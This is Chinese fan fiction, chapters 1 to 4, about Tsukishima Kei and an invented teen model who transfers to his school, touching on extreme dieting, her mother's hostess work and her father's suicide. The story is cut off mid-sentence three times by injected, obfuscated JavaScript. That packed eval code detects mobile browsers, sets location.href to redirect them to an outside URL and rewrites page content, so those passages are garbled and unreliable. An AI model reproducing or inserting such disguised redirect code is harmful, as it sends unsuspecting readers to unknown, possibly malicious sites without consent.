《甩了月岛以后》 1. 1. 踏上东京街头时，二十四岁的月岛萤有些烦躁。 拥挤密集的人潮之中，自己像一罐临近保质期的沙丁鱼罐头、等待被挑选。 成年后他不再像曾经那般向往大都市，现在东京塔对他的吸引力还没有老家的电线塔大。 涩谷到处是广告牌，他抬头就能看见。 北里悠花的脸被映在无数块屏幕上，笑得虚假又刺眼。 上个月北里悠花的高中时期的IG账号被扒出，那里还存着一些合照。 有一张是她戴着他的黑框眼镜，对着镜头嘟起嘴，旁边是没戴眼镜的他。 距离那个时候确实过去太久了。 久到就算被甩了六年，月岛萤还是盯着那张照片看了三十秒。 简直蠢毙了。 * 故事要从高校二年级说起。 春假过后，班上要来转校生的传言引起了轰动。 平淡的校园生活最需要这种调剂，散播一手消息的是一个叫佐佐木的男生。 他扬起两根眉毛，被同学们簇拥在班级中心。等到身边聚集的人越来越多，才终于故弄玄虚地开口：“听说了吗？这次的转校生可是个货真价实的大美女。” 随即有人提出质疑：“佐佐木你去年也是这么说的，结果来的是桥本。” 顺带一提，那个转来的桥本是男的。 面对质疑，佐佐木两手一摊：“等下你们就知道了，我保证、会让所有人震惊！” “我不信。” “我也不信。” 可见佐佐木信誉度已经接近于0，周围全是对他的打趣。 对于这种八卦，月岛萤一直没什么大兴趣，毕竟佐佐木的消息基本都是夸大其词。 他开始思考下午部活的训练强度，不经有些头大，准备午休时去买个面包补充体力。 突然、教室的空气安静下来，围观的人也都回到座位。 传闻中的转校生终于出现。 恰逢春日初始，偶有风吹过。 窗外大片樱色铺满甬道，连呼吸都充满着阳光温柔的气息。转校生就在这样的背景之中闪亮登场，并俘获了大片惊叹声。 佐佐木确实没骗人。 她站得很直、下巴微微扬起、脖颈纤细白皙。 深棕色的长卷发松松披散着，保持了标准的上镜微笑，粉色唇彩饱满且甜蜜。 班主任介绍道：“这位就是从东京转校来的北里悠花，之后两年大家要好好相处。北里同学，麻烦自我介绍一下吧。” 北里悠花拿起粉笔，在黑板上端正书写上自己的汉字名。 这时，台下有两个女生认出了她。 青春期的JK们热衷于翻阅各种时尚杂志，立马小声讨论了起来。 “这是不是popteen今年的封面模特？” “欸———！没错，真的是她！！！” “她去年参加的Miss Contest我一直给她投票来着！” 北里悠花早就习惯他人的议论与打量。 台上的她温柔开口：“大家好，初次见面、我是北里悠花。” “平时的兴趣是制作甜点，希望有机会也能做给大家吃。很高兴能和各位成为同学，以后请多多关照呀~” 她的面孔确实十分美丽。尤其是那双刷着卷翘睫毛膏的圆眼，笑起来时明媚动人。 这段开场白显然效果极佳，同学们立马接受了这位新人。 人都是视觉动物，月岛萤也不例外。 他和北里悠花的目光有短暂的对视，但随即对方便轻飘飘移开了视线。 北里悠花被安排到靠窗倒数第二排，他的斜前方，传说中的动漫主角之位。 月岛萤看着她想，这位艺人可真是既低调又高调。 * 尽管没有特别强调自己的艺人身份，但凭借在jk之中的超高人气，北里悠花的“真实身份”仅用了一个课间，便被散播到整个乌野高校。 就连日向翔阳那个排球白痴都发消息来问月岛萤： 「月岛，听说你们班来了艺人是真的吗( ?? ?)」 「真的。」 「真人是不是超——漂亮的！」 被问到这句话的时候，月岛萤抬头看了眼斜前方的北里悠花。窗外的阳光正好打在她的背影，连发丝都被披上了一层朦胧的光。 她的位置实在是所有目光的中心，教室的外面都挤满了围观的人。 月岛萤注意到还有个可疑的光头在鬼鬼祟祟。 ——正是田中前辈。 「你自己过来看不就知道了。」 发送这条信息后，他便锁屏做题。 * 北里悠花每个课间都被女生们团团围住。 其中要属早上自我介绍时将她认出的那两个女生最为热情。 一番自我介绍过后，她知道了矮个子的圆脸女生叫星野杏，短发高挑的女生叫村上由奈。 星野杏对她闪着星星眼：“北里酱，我们一直都有给你去年的比赛投票！” 北里悠花笑了笑：“谢谢呀，没想到大家会认识我、真的好高兴哦。还有不用和我那么生分啦，叫我悠花就好。” 她主动释放出友好的善意，果然消除了交流中的距离感。 艺人的光环似乎瞬间没有那么遥不可及起来，女生们一个接一个叫她“悠花酱”，周围都是甜甜的味道。 旁边的村上由奈也羞涩开口：“对了悠花，可以和你合照吗？” “当然啦。” 北里悠花欣然接受了对方的合照请求，并在自拍镜头下留下一张笑脸。 她的皮肤通透、照片中更是一点瑕疵都没有。 “对了，我可以在IG上发布这张图片吗？你们是我来到乌野最先交到的朋友。” 北里悠花不是个真诚的人，她特意加重了“朋友”两个字。 此时班级的圈层早已固定。她作为中途进入的转校生，如果不在第一天迅速融入，即便是艺人、也会被视为异类。 加入这个小团体显然是最好的选择。毕竟和艺人成为好友，也绝对是件值得炫耀的事情。 更何况北里悠花的账号开通一年多以来，已经拥有了十五万活粉，随手发一篇帖子就能收获无数点赞。 两位善良的女高中生当然不会拒绝她的提议，“朋友”这个词实在让人颇为惊喜，她们立马打开IG和她互关。 很快那张合照便被发布，北里悠花还特意在帖子中标记了她们的账号、并顺便很贴心地将两位素人的脸打上了马赛克。 kitasatoyuuka： 「没想到加入新学校的第一天就交到了两个好朋友^*^大家最近过得怎么样？」 很快再刷新时、她就收到了许多评论。 “制服悠花酱赛高！” “宇宙起源般的美貌w” “悠花酱的美貌简直是国宝（哭）” 裸粉色的美甲轻轻敲击屏幕，看着一条条评论，北里悠花轻轻勾起了嘴角。 她并不讨厌这种被人关注的感觉，甚至可以说、十分享受。 比如幼稚园时，班上的小男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522823|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都会抢着和她牵手。又比如光在国中一年级的情人节，她收到了十五位男生的表白。还比如某天正在涩谷逛着街，就收到了知名星探的名片、轻松加入业内顶尖的事务所。 为了满足自己的虚荣心，去年北里悠花报名参加了日本高中生选美比赛Miss Contest。 她轻松击败了来自日本各地的高中女生们，成为了冠军。拿下了“日本最美女高中生”的称号，从此开启了顺风顺水的模特生涯。 美貌是二十一世纪最伟大的通行证，人们总是对她投以善意。 在庆幸获得了时代红利的同时，北里悠花格外注意维持自己的人设。 善良、温柔、智慧。 她深知，有了这三个标签加持的“美丽”，才算真正的美丽。 只是喜欢一切闪闪发光的存在，又有什么错呢？ 虽然目前她就是乌野高校最闪亮的存在。 * 午休。 北里悠花的左手臂被星野杏挽着、右手臂被村上由奈挽着，从背影看三人已然亲密无间。 当然、在去向学校小卖部的一路上，她也受到了无数注目礼。 村上由奈问她：“悠花酱想吃什么？我们的炒面面包很有名哦。” “由奈你真是的！悠花酱是艺人诶，怎么能吃这么高热量的东西。”星野杏反驳道。 不过北里悠花很好说话：“没事啦，最近没有在减肥期中午可以吃多一点，就吃你们推荐的这个吧！” 这当然是谎话。 北里悠花并非易瘦体质，一年三百六十五天，她天天都在减肥。杂志镜头会无限放大劣势、身边又总是围绕着只有巴掌大脸的美女模特，她对身材的焦虑只增不减。 但是为了新建立起的友谊体制，吃一个碳水炸弹不足为惜。 她在心里暗自估算热量。 炒面面包大概有四百五十大卡吧，加上果汁就要六百大卡了。早上吃了一个苹果，晚上只能喝水加跑步机了。 不然明天她的脸会肿成猪头。 小卖部排队的人很多，分发面包的阿姨忙得像个陀螺。 排在她们前面的是个个子很高的人，看起来起码有185了吧。北里悠花觉得他看上去比同事务所的黄濑凉太还要高上一点，肯定是什么运动社团的。 他和另外一个男生在一起排队。 排到他们时，那个矮个子的男生深吸了一口气： “阿姨麻烦给我三个炒面面包两个草莓奶油夹心面包三个菠萝包四个盐面包五个金枪鱼三明治，谢谢！” 面包的数量多到让人沉默。 旁边那个高个子冷冷开口：“又和那几个笨蛋打赌输了吧，山口。” 被叫做山口的男生不好意思地笑笑：“是的，输的人负责买午餐面包。” “笨蛋是会传染的。” 他说出的话并不好听，语气也有些生硬。 在听到这句话时，排在他们后面的三个女生相互对视了下，笑出了声。 动静并不小，高个子男生转身看了看她们。 北里悠花这时才想起早上在班里见过这个人，好像坐在她后面，没想到竟然那么高。 戴着黑框眼镜、看上去有些冷淡，眉眼中还带着点对笨蛋的不耐烦。 他的视线微微低下，和北里悠花对视。 北里悠花并不矮，也有166，但在他的面前却显得像个国小生。 职业使然，她飞速记下了对方的五官。 并不是那种一眼池面的长相， 但是还挺帅的。 2. 2. 北里悠花顺利买到了炒面面包。 双重碳水刺激多巴胺，给味蕾带来无限的满足。享用面包时将罪恶感一并吞下，美味得让人忍不住眯起眼睛。 果然是乌野的名产。 午休是八卦的聚集地。 尽管才认识半天，两位朋友就已经对她推心置腹。从班中哪对情侣分手了说到篮球部的秘密恋爱，恨不得把乌野的建校史也讲一遍。 谈到部活时，村上由奈提起：“说起来我们学校的排球部去年还打进春高了呢，大家都去东京应援了。” 北里悠花咬了口面包：“欸——好厉害。” 回答得漫不经心。 毕竟部活和她没什么太大关系。 作为少女模特，她的工作量已经饱和。比起享受青春，北里悠花更想向金钱看齐。 星野杏点点头：“月岛和山口不就是正选，经常能看到他们放学之后去排球馆训练。” “哦对了，刚刚排在我们前面的就是他们。很高的那个是月岛萤，矮一点的是山口忠。”星野杏给她解释，很快又将话题扯到别处。 吃完最后一口面包的北里悠花依旧笑咪咪地听她们聊天，适时给一些恰当的反应。 初来乍到，在没有完全摸清楚同学关系前她不会贸然发言。 “不过悠花，你为什么会突然转学到乌野来呀？” 村上由奈按耐不住自己的好奇心。 “因为工作原因哦，之后事务所可能会有一个长期企划要在仙台拍摄。而且我祖父就是仙台人，看望他也比较方便。” “原来如此，艺人果然好辛苦呢。” 北里悠花不置可否，她并不觉得自己有什么辛苦的。 模特这份工作最美妙的点就是，镜头能记录下自己每一瞬间最鲜活的样子。她的十七岁是光彩夺目的、闪闪发光的，是能穿着品牌最新款服装的、是在t台上走秀的、是被无数粉丝的爱意所簇拥着的。 尽管过去几年、未曾体验到动漫中所描绘的热血青春，也不可惜。 * 一天的课程很快结束，因为工作的特殊性质、她没有选择参加部活，回去时天还很亮。 北里悠花租住的高级塔楼靠近学校，步行十五分钟即可到达，租金比东京便宜许多。 虽然面积不大，但隐私性极佳。周围有配套的百货商圈与电车站，生活设施一应俱全。 塔楼的三层就是健身房，每天路过时都能提醒她保持自律。 高强度的工作让北里悠花早早适应了独居生活。搬到宫城县才三天，她就已经利落地收拾好了所有行李。 新家有块明亮的窗玻璃。 推开窗户时，风会拂过厚重的遮光窗帘、带给整个房子为数不多的活人气息。 北里悠花的家和样板房没什么区别。 她没有茶几和餐桌，只在客厅摆放了一张巨大的懒人沙发、正对着大屏电视。 也没有购入任何厨房用品，只有一台冰箱和微波炉能正常运转。 一日三餐都选择外食，不是便利店就是Uber外卖，扔个垃圾就行连餐具都不用洗。 而与之相对的，是被塞得满满当当的衣帽间和摆放着琳琅满目美妆产品的化妆台。 各种logo的袋子堆成小山，旁边还放着一大捆她拍过的杂志封面。 北里悠花没有多余的卡路里可以摄入。 回到家做的第一件事，就是站上体重秤。 48kg。 还好没胖。 她的目标是在夏天拍摄水着封面前瘦到46kg。 看似只差了2kg，可现在的体重却是北里悠花的极限。因为她已经吃得很少很少，还在坚持每天去健身房运动。 她的胃里常年空空如也。 刚开始时还需要忍受饥饿入睡，到现在身体早就习惯了这种折磨，连一点感觉都没有了。 熟练地打开抽屉、北里悠花开始服用各种营养剂——包括综合维生素、益生菌、餐前阻断片和胶囊，通通服下之后又灌入一大杯冰水。 吃完这些就不会死了。 过度节食让她情绪不太稳定。 拍完水着之后一定要吃一顿放纵餐，她想。 * 经纪人日向小姐打来电话时，是晚上七点。 北里悠花正躺在懒人沙发上看上周出演的综艺节目。 电视机里的她妆容精致，那天她特意让造型师在头顶盘了一个俏皮的丸子头，还扎上了蕾丝发圈。 所以即使她只是作为暖场的背景板，镜头拉远时也能被观众们一眼注意到。 “悠花，周末安排了和黄濑的双人封面拍摄别忘了，到时候会有车来接你去新干线车站。” 日向小姐是事务所最资深的经纪人，手下带过很多知名艺人。 其中有不少都和北里悠花一样，从学生时期就开始担任杂志模特，接着再上电视综艺，逐渐锻炼演技、转型为国民演员。 她为人严厉，做事还带着些昭和时期的古板。但眼光与手段确实毒辣，百分百将心血奉献给了艺人。 目前日向小姐手下只带了两个人，还经常以搭档的形式出现。 一个是北里悠花、一个是黄濑凉太。 超高颜值的篮球少年与温柔美丽的模特少女，只要出现在封面上销量就能大爆，吸引众多jkdk购买。 于是事务所瞄准了商机，最近经常安排他们合体营业。 毕竟恋爱永远是人类亘古不变的话题，赏心悦目的组合更能催生出美好的化学反应。 北里悠花自然不会拒绝流量，还经常在IG的快拍里转发cp粉给他们做的应援。 “知道啦，我会准时到的。辛苦您啦日向小姐～” “对了，之前跟你说的提案考虑得怎么样了？” “我没问题呀。那正好这周末拍摄的时候，我会录vlog试试看。到时候也要麻烦日向小姐帮我记录下第三视角哦。” 最近艺人录制vlog的人气很高，粉丝们非常喜欢这种近距离的密着感。 而北里悠花的“最美女高中生”头衔，正好能完美匹配十代到二十代群体的情感需求。 编织一个令所有同龄人羡慕的完美偶像形象、营造出华丽的演艺圈美梦，是北里悠花打开知名度的第一步。 虽然编辑影片会费时间一点，但只要是为了赚钱、北里悠花义不容辞。 因为她很需要钱。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522824|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 挂掉电话之后，北里悠花在IG上刷到了星野杏的快拍。 内容是她们今天的合照，她被两人簇拥在中心。 北里悠花点进她的主页，基本都是在乌野的校园生活。有学园祭、运动会、校园参观日，五颜六色的、充满了各种合影自拍。 她往下翻了翻，有一条格外显眼。 因为标注了地点，是在东京的体育馆。 ——“我们学校的排球部去年还打进春高了呢，大家都去东京应援了。” 好像午休时村上由奈是这么说的来着。 第一张是乌野男子排球部的全员合照。 第二张是班级的合照，大家把两名排球队员围在中间。 她认识，是今天碰到的那两个人。 高个子的叫月岛萤。 他们去年应该没有赢，照片里好多人的眼睛是红肿着的，明显才哭过不久。 唯独月岛萤看似毫不在意地站在一边、双手插兜，两张照片里都是同一张冷脸。 但明明放大看，眼神里也全是不甘心。 什么啊，别扭的人。 月之萤火。 北里悠花很喜欢他的名字，所以一下子就记住了。 * 今天的训练又结束得很晚。 月岛萤不知道这群人为什么能天天有活力成这样，甚至还嚷嚷着要加练。 “喂月岛，真的不留下来和我们一起加练吗？” “不加练。” 他飞快拒绝了日向翔阳的邀请，无视田中和西谷前辈期待的眼神，套上外套拉起拉链便告别排球馆。 感觉再多待一秒就要被这群笨蛋的热情融化了。 果然，还没走出多远、就能听见里面那颗橘色脑袋扣球的声音了。 真是可怕。 顺路去坂之下商店买了瓶宝矿力，付钱时无意瞥见了旁边正在热卖的jk杂志。 标了个明晃晃的“hot”标签，实在过于惹眼。 经受了一天狂热粉丝们的洗礼，月岛萤很快便认出封面的模特是北里悠花。 这刊正好是双人封面，主题是新学期。 少男少女穿着登对的校园制服，整体色调是樱花柔和的粉色。大概是有花瓣元素加持，连普通的互动姿势、都显得暧昧心动。 男模特也是金发。 封面介绍他叫黄濑凉太，是海常高校的篮球正选队员。 外面天空完全暗了下来。 春日的天气还有些微凉，偶尔能听到几声乌鸦叫。那耀眼到不行的笑容和金发，在这个沉默的夜晚倒显得有几分刺眼起来。 注意到月岛萤停留的视线，乌养教练叼着烟问他：“这期的赠品是草莓牛奶造型的化妆包，要买吗？” 意识到对方是在开无聊的老式玩笑，月岛萤无语道：“不用了。” 付款之后便戴起耳机，走入夜色之中。 训练完他很少听快节奏的音乐。 今天随机播放到的是中岛美嘉的老歌，《樱花纷飞时》。 耳边轻轻唱着“樱花纷飞时，我独自一人”。 回家的路过于漫长、运动过后的肌肉隐隐有些酸痛，以至于都没注意到后半句的歌词是什么。 3. 3. 周末是个大晴天，苍穹湛蓝。 早晨七点，北里悠花准时坐上前往东京的新干线。由于身体过于疲倦，她很快沉沉睡去。 回过神来时，她已经坐在东京的化妆室里、被装扮完毕。 “早上好呀，小悠花。” “早呀，黄濑君。” 黄濑凉太的声音过于元气，每句话后面都跟带了个颜文字一样。 品牌方偏爱他颀长精壮的身体，每次挑选的服装都能很好展现出少年特有的线条。尽管只是穿了件简单的潮牌黑色T恤，经过常年训练的手臂肌肉依旧显得紧实有力。 北里悠花穿的是女款的白色T恤，和他站在一起显得格外登对。 连旁边的化妆师都忍不住说道：“哎呀，你们两位真是般配！简直太养眼了。” 面对夸赞，黄濑凉太摸了摸后脑勺、笑容难得有些青涩：“化妆师小姐太过奖了啦。” 北里悠花则不动声色地岔开话题：“对了黄濑君，要不要在我的vlog里出镜？”她装作苦恼的样子，“是事务所布置给我的任务，要求我记录下模特工作的日常给粉丝们看。” 当然，如果第一支vlog就有黄濑凉太出境，点击量肯定很可观。 “没问题。”黄濑凉太立马欣然接受，露出整齐洁白的牙齿、朝北里悠花刚刚举起的相机wink了一下。 北里悠花按下录制键，黄濑凉太也一秒切换至营业模式，开始熟练地对镜头打招呼： “大家好哦，欢迎来到北里悠花的频道。小悠花现在在和我拍摄新的杂志封面，请一定要多多支持。” “好了，让我们来看看vlog主角的样子吧。”还没等北里悠花反应过来，黄濑凉太就接过了她手里的相机、将镜头对准她，“小悠花也来打个招呼吧。” 有时候觉得黄濑凉太很好骗，有时候又觉得他有些坏心眼。 北里悠花只能摆出招牌微笑，对着镜头招了招手：“早上好呀，我是北里悠花。第一次拍摄vlog有些不熟练，接下来我会记录更多自己的生活，欢迎大家收看哦。” “小悠花今天和我一起拍摄封面的感觉怎么样？” “跟黄濑君已经合作了很多次，是非常默契的伙伴了。” “话说回来——”黄濑凉太又将镜头转到他的视角，对准了自己的衣服，“我们今天穿的服装很像情侣装吧，是即将发售的新款哦——” 还没等他说完，北里悠花就和善地一把抢过相机，结束录制。 “欸怎么这样，我还没说完呢！” 他摆出委屈的神情。 “黄濑君是想我被你的女粉丝追杀吗？” 妆造已经完成，现场声音十分嘈杂。 灯光的角度不停被调试、变化，整个场地忽明忽暗。无数套等待拍摄的服装被推来推去，每个工作人员都像设定好程序的机器人。 没人注意到他们的对话。 “有什么关系，反正你会把影片编辑掉的不是吗？而且……”黄濑凉太的语气停顿了下，直直看向她的眼睛，“小悠花不也只是为了增加点击才让我出镜的吗？” “才没有这回事呢。”北里悠花眨了下眼睛，“我只是合理利用资源。” “而且大家都会很期待黄濑君的，毕竟没人不喜欢帅哥。” 对方轻笑了下：“看来是我多想了，还以为被小悠花讨厌了呢。” 没错，北里悠花不喜欢黄濑凉太。 更准确点来说，她嫉妒黄濑凉太。 虽然在同一个事务所，也不构成直接的竞争关系。但在在这个行业，黄濑凉太的艺人之路显然要比北里悠花轻松得多。 明明是在工作量一样的情况下，黄濑凉太的时薪却要比她高很多。粉丝们的“好感度”是一个谜，很多事可以由黄濑凉太做、但不能由她做。模特这份工作对于黄濑凉太来说只是打工的一个选项，而对她来说、却是生活的必需。 黄濑凉太在她的vlog里出镜，只是作为普通嘉宾当然皆大欢喜。 但若是出现一些不合时宜的暧昧对话，绝对会被归咎于是她的问题。 所以她要更早到现场、出工、做造型，拿着更低的报酬，在看到对方粉丝的恶评时一笑而过。作为女性，有时连发声辩解都苍白无力。 北里悠花只能选择沉默，要求自己事事做到完美。 这个行业从来不缺漂亮的脸蛋，她随时都有被替代的风险。 她还太年轻，没有任何话语权。 * 今天的拍摄工作结束时不到晚上六点。 拍摄地点在新宿附近，由玻璃幕墙与钢筋水泥筑起的CBD高高耸立。神色各异的牛郎和陪酒女郎们为了迎接即将到来的夜晚匆匆赶去歌舞伎町，妆容厚重。 偶尔也会出现在周末加班的社畜，沉闷的黑色西装、板正的领带、被擦得锃亮的皮鞋，还有一张没有表情的面孔。 所有人都穿梭于亚洲最大的地下迷宫，成为一只蝼蚁。 这都是北里悠花不喜欢东京的理由。 她戴上巨大的白色口罩，将整张脸都隐藏进去。 无视道路两旁正在揽客的牛郎，她熟门熟路地走到位于歌舞伎町中心地带的一家club。硕大的霓虹灯球挂在店门口，映衬着头牌女郎的个人海报和以亿计算的惊人销售额，折射出五彩的光。 深吸一口气，推门而入。 还未正式营业的店铺却已经被烟味笼罩，北里悠花扇了扇风想驱散臭味、可无济于事。 穿着黑色皮草的妈妈桑坐在店铺的沙发上盘算营业额，看上去不到四十岁，保养得宜。头发被拉得很直，皮肤富有光泽、连细纹都很难看到。 看到北里悠花时她立刻站起身，和她拥抱。 “悠花，最近在宫城怎么样？妈妈很想你。” 语调轻柔，装满了心疼。 北里悠花扯了扯嘴角，心想自己的母亲真是世界上最会演戏的人。 放任自己未成年的艺人女儿出入歌舞伎町，而未考虑会造成怎样的后果。 “妈妈，我很好。如果你不叫我来这里，我会更好。” “自从你转学回老家就没再问妈妈要过生活费，你那点工资真的够用？”北里女士嗤笑了声，转而点燃一支女士香烟。她从口袋里掏出一个厚厚的信封，放到北里悠花面前。 豆沙色的嘴唇跟北里悠花一样，能吐露出最恶毒的话语：“还是说，你看不起妈妈？” 北里悠花叹了口气：“妈妈，我从来没有看不起你。只是你有没有想过，要是被人拍到我未成年就出入歌舞伎町，你女儿的前途就毁了。” “怎么？我看你是觉得自己的妈妈在这里工作很丢人吧？” 又来了。 工作一天所积攒的疲惫临近爆发，北里悠花忍不住对北里女士说：“妈妈，为什么你老是自我感动，又自我否定？看不起你的人究竟是我，还是你自己？我从来没有因为你的职业而羞耻过，也请你放心，我赚的钱足够养活自己。” “你给我滚——！要不是你，要不是你我怎么会变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522825|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成今天这样！都是你那个没用的爸爸，我当初真是看走了眼，当年我就应该丢下你一走了之……” “对啊，你的这张脸也是遗传的我。你以为当艺人和我有什么区别吗？你以为自己很高贵吗？” 又来了，北里女士这两年一见到北里悠花就爱讲这样的话。 北里悠花很爱钱，但她依旧没有拿北里女士给的这笔钱。 她们母女之间的对话总是不欢而散，谁也不能理解谁。 但血浓于水，她做不到真正地去憎恶自己的母亲。甚至潜意识里，也想过有一天能成为像北里女士一样、拥有至高话语权的女性，哪怕是在世人嘲笑的歌舞伎町。 一年级时，父亲公司破产。承受不住打击的父亲从公司楼顶一跃而下，只留下了一堆债务。 北里家的支柱轰然倒塌，曾经作为富太太的北里女士不得不一个人养她长大。 她们只能将原本的房产与奢侈品尽数卖出，住到荒川区破旧的公寓里。美貌是财富，可若是在穷苦的家庭、美貌就成了危险。 污言秽语的男人经常按响她们的门铃，幼小的她只能和北里女士紧紧抱在一起，直到那人远去。 北里女士当过派遣社员，也擦过盘子、在便利店值过夜班。但因为没有经验和年龄的限制，根本找不到一份薪水优厚的工作。 直到有一天，北里家的餐桌上突然出现了一块高级蛋糕。 北里悠花抬头看向北里女士时，她的手上做了鲜艳的红色指甲、脖颈上也戴了一根昂贵的钻石项链。曾经枯草般的头发重获新生，即便在昏暗灯光的照射下也依旧闪闪发光。 那时她已经是国中生，很快就明白了钱是从哪里来的。 但北里悠花什么都没有说，只是满足地吃下蛋糕，拥抱了北里女士。 她理解北里女士，也发自内心地感谢北里女士。 尽管时至今日，北里女士开始自我怀疑、又常常将对命运的不甘尽数发泄到北里悠花身上，也无所谓。 这确实是北里悠花所应该承受的。 * 回到仙台站已经是深夜。 北里悠花托着沉重的身体朝家里赶，周遭一片寂静。 坐上出租的一刹那整个身体都得到了放松，窗外的风景迅速后退，直到车子在家附近的一个红绿灯路口停留等待。 她在旁边的人行道上看到了熟悉的人。 应该说算不上熟悉，因为同班一周了、她和他甚至没有说过话。 月岛萤刚结束夜跑，穿着一件灰色的连帽卫衣。他一个人时总是看上去很安静，好像戴上耳机就能活在自己的世界里。 北里悠花莫名有了想恶作剧的心思。 大脑混沌、身体疲惫。但却在理智归笼前做出了动作—— 她摇下车窗，在红灯即将跳转的一刹那朝月岛萤大声喊道： “月岛君——！好巧啊——！” 耳机里的歌曲刚好播放到结尾。 在等待下一首歌播放的间隙，月岛萤突然听到有人在喊自己的名字。 尽管觉得很奇怪，他还是下意识地抬头、看向声音的主人。 只见旁边出租车的窗户里，露出北里悠花的脸来。 这一周在学校的北里悠花总是完美的，精致的妆容、恰到好处的表情，被包围在班级中心。 只是此时此刻，隔着好几米远。 北里悠花脸上的笑容很生动、生动到让他都忍不住想回应了。 但最终，月岛萤只是朝她点了点头。 4. 4. 周一如期而至。 刚走进班级放下包，北里悠花就被星野杏和村上由奈神秘兮兮地拉到角落。俩人一人占据一边，悄悄凑到她的耳旁。 “悠花，我们昨天看到你上传的vlog了！” “太好啦，我还以为会没人看一直很担心呢。” 昨天北里悠花成功在YouTube频道上传了第一支视频，事务所钦点的标题是「初投稿！大人气JK模特密着一日vlog」。 着实有些夸张过头，但好在效果极佳，一小时的观看量就突破了一万人次。 顺便一提，北里悠花还颇为刻意地将黄濑凉太也p在了封面上。 即便脸上贴了遮挡的贴纸，但一头金发还是很快让粉丝猜出了这位“神秘嘉宾”的真实身份，使得她视频底下的评论数也直线飙升。 “嗯嗯，所以，你和那个黄濑凉太……” 两人都因八卦而神采奕奕，眼中闪着强烈的探知欲。 话及此处，北里悠花自然明白她们的意图。不过艺人保持热度的关键就是凡事都不要点破，所以她故作深沉地拉长了尾音： “哦，我和黄濑君啊——” 在观众的胃口被高高吊起的时候，再给一个讳莫如深的回答：“暂时还是好朋友哦。” “暂时”这个词语非常微妙。既是对目前恋人关系的否定，又给了少女们无限的遐想空间。 果然在听到这句话后，星野杏和村上由奈都激动地握住了对方的手。 星野杏甚至忍不住小小尖叫了下：“啊啊啊啊——我就知道！” 村上由奈也赞同地点了点头：“果然，还是帅哥美女最配。” 北里悠花却是不好意思地摆摆手，羞涩地茶言茶语道：“好啦好啦，我和他只是朋友啦。” 两个人互相对视了一眼，一脸“你不用解释了我们都懂得”的神情，不约而同地露出了姨母笑。 好巧不巧，她们所在的位置就在教室末端、月岛萤的旁边。 尽管并非有意偷听，但女生们难掩惊喜的高分贝交谈声还是一字不漏地进了他的耳朵。 此时上课铃打响，三人都各自回到了座位上。 路过月岛萤座位时，北里悠花抬手轻轻敲了敲他的课桌。 她的声音不大，只有月岛萤能听见： “早上好呀，月岛君。” 语气不像刚刚那般做作，但却好像在寻人开心一般、有些恶劣。 还没等他作出反应，北里悠花就已经回到了座位上。 月岛萤注意到她今天扎了一个高马尾，坐下时卷曲的发尾晃动出俏皮的弧度、惹人心烦。 空气里还残留着的她手腕上的淡香水味，很快又随着一阵风消弭不见了。 * 北里悠花一直是个矛盾的人。 进入高中，她的目标很简单，和帅哥谈场玫瑰色的恋爱。 倒也未必要和少女漫画一样轰轰烈烈爱死爱活，因为她追求的恋爱模式是长期、稳定，且“不平等”的。 北里悠花享受追人的过程，喜欢瞄准高质量的猎物。而一旦当对方同样对她产生好感，就又会觉得无趣。 反正本来也没多喜欢。 同时她骄傲又清高，眼光苛刻到了极点、对那种学校里的人气偶像毫无兴趣。浑身散发着荷尔蒙的标准帅哥只会让北里悠花觉得、对方是只在开屏求偶的雄性孔雀。 而很不幸，黄濑凉太就是她眼中典型的“校园偶像”。每天都受人瞩目，永远被女生们托举在顶点。 这种人太容易让人产生头晕目眩的心跳、但也仅仅停留在心跳。 所以在经过了东京漫长而疲惫的一天之后。 如同命中注定一般，北里悠花在那晚的回家路上遇见了月岛萤。 她很难形容这种感觉，但有些人就算只是站着什么也不做、都能给人一种“安心感”。 当身体的疲惫达到极点，肾上激素却在疯狂分泌。 用尽最大力气和月岛萤说出那句“好巧啊”之后，坐在出租车里的北里悠花、竟然觉得十分兴奋。 再用更浅显一点的语言来描述的话。 她心动了。 * 心动就要行动，北里悠花的字典里没有等待。 这一周在学校里，她总是在有意无意观察月岛萤。 她发现，对方的生活很无聊、却也规律到了极点。 ——上课、下课、训练、回家。 在班级里是个规矩的优等生，作业和试卷都会好好完成。随堂小测的分数也都很漂亮，看起来应该有个聪明的脑袋。 比较喜欢甜食，桌上常会出没草莓味的小蛋糕，倒是有几分割裂的反差萌。 关系最亲近的朋友应该是山口忠，两人经常在一起说话，话题不是排球比赛就是训练结束要不要去吃M记。 至于排球—— 北里悠花实在对任何体育项目都没有兴趣。既看不懂规则，也不想了解。 她始终了解不了运动的有趣，只觉得会带来一身臭汗。 所以她连月岛萤最常去的排球馆都未曾踏足过。 不过偶尔排球部的队员会跑来找他和山口忠，有个橘色脑袋的小矮个总会在聊天时朝北里悠花这里蹩脚地偷看几眼。 